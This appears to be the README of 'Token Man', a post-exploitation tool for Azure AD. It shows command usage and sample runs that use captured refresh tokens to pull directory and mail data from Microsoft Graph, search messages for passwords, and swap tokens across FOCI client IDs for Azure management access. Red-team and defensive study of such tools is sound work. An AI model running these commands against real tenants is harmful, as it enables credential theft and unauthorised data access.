
Post-exploitation toolkit for Azure AD: fetch/search Microsoft Graph data, swap FOCI refresh tokens, and generate Azure CLI auth files from tokens.
Access and Refresh Token Suite.
Token Man is a tool for supporting post-exploitation activities using AAD access and/or refresh tokens.
usage: tokenman.py [-h] {fetch,search,swap,az,oauth} ...
Token Man -- v0.1.1
positional arguments:
{fetch,search,swap,az,oauth}
Command
fetch Retrieve data via Graph API
search Search content via Graph API
swap Exchange a refresh token
az Generate Azure CLI authentication files
oauth Perform OAuth device code flow
options:
-h, --help show this help message and exit
Fetch specified data via the Microsoft Graph API.
usage: tokenman.py fetch [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
[-m MODULE]
options:
-h, --help show this help message and exit
--debug enable debugging
-r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
AAD refresh token
-a ACCESS_TOKEN, --access-token ACCESS_TOKEN
AAD access token
--proxy PROXY
HTTP proxy url (e.g. http://127.0.0.1:8080)
-m MODULE, --module MODULE
fetch module(s) to run (comma delimited)
(all | applications,drives,emails,groups,organizations,serviceprincipals,users)
[default: all]
> python3 tokenman.py fetch -r "0.AW8AD..." -m users
[2022-10-13 18:59:26,314] [info] Acquiring new token for: 'Microsoft Office'
[2022-10-13 18:59:30,546] [info] Fetching users
[2022-10-13 18:59:32,455] [info] Users: 78
[2022-10-13 18:59:32,455] [info] Output: data/fetch.users.20221013225932.json
Search for keywords in the contents of a specified entity via the Microsoft Graph API.
usage: tokenman.py search [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
[-m MODULE] [--keyword KEYWORD]
options:
-h, --help show this help message and exit
--debug enable debugging
-r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
AAD refresh token
-a ACCESS_TOKEN, --access-token ACCESS_TOKEN
AAD access token
--proxy PROXY
HTTP proxy url (e.g. http://127.0.0.1:8080)
-m MODULE, --module MODULE
search module(s) to run (comma delimited)
(all | messages,onedrive,sharepoint)
[default: all]
--keyword KEYWORD
keyword(s) to search for (comma delimited)
[default: password,username]
> python3 tokenman.py search -r "0.AW8AD..." -m messages --keyword password
[2022-10-13 19:06:56,652] [info] Acquiring new token for: 'Microsoft Office'
[2022-10-13 19:07:00,135] [info] Searching 'messages' for: ['password']
[2022-10-13 19:07:03,618] [info] Search Results: 1
[2022-10-13 19:07:03,618] [info] Output: data/search.messages.20221013230703.json
Exchange the given refresh token for a different client id via family of client IDs (FOCI).
usage: tokenman.py swap [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
[--list] [-c CLIENT_ID] [--resource RESOURCE] [--scope SCOPE]
options:
-h, --help show this help message and exit
--debug enable debugging
-r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
AAD refresh token
-a ACCESS_TOKEN, --access-token ACCESS_TOKEN
AAD access token
--proxy PROXY
HTTP proxy url (e.g. http://127.0.0.1:8080)
--list list foci client id and name mapping
-c CLIENT_ID, --client-id CLIENT_ID
application client id or name to exchange token for
--resource RESOURCE
token resource (audience)
--scope SCOPE
token scope (comma delimited) [default: .default]
> python3 tokenman.py swap -r "0.AW8AD..." -c "Microsoft Azure CLI" --resource https://management.azure.com
[2022-10-13 16:36:46,653] [info] Acquiring new token for: '04b07795-8ddb-461a-bbee-02f9e1bf7b46'
[2022-10-13 16:36:55,557] [info] Output: data/token.04b07795-8ddb-461a-bbee-02f9e1bf7b46.20221013203655.json
[2022-10-13 16:36:55,557] [info] Access Token:
eyJ0e...
Via the
--listflag, most of these values come from the research: Family of Client IDs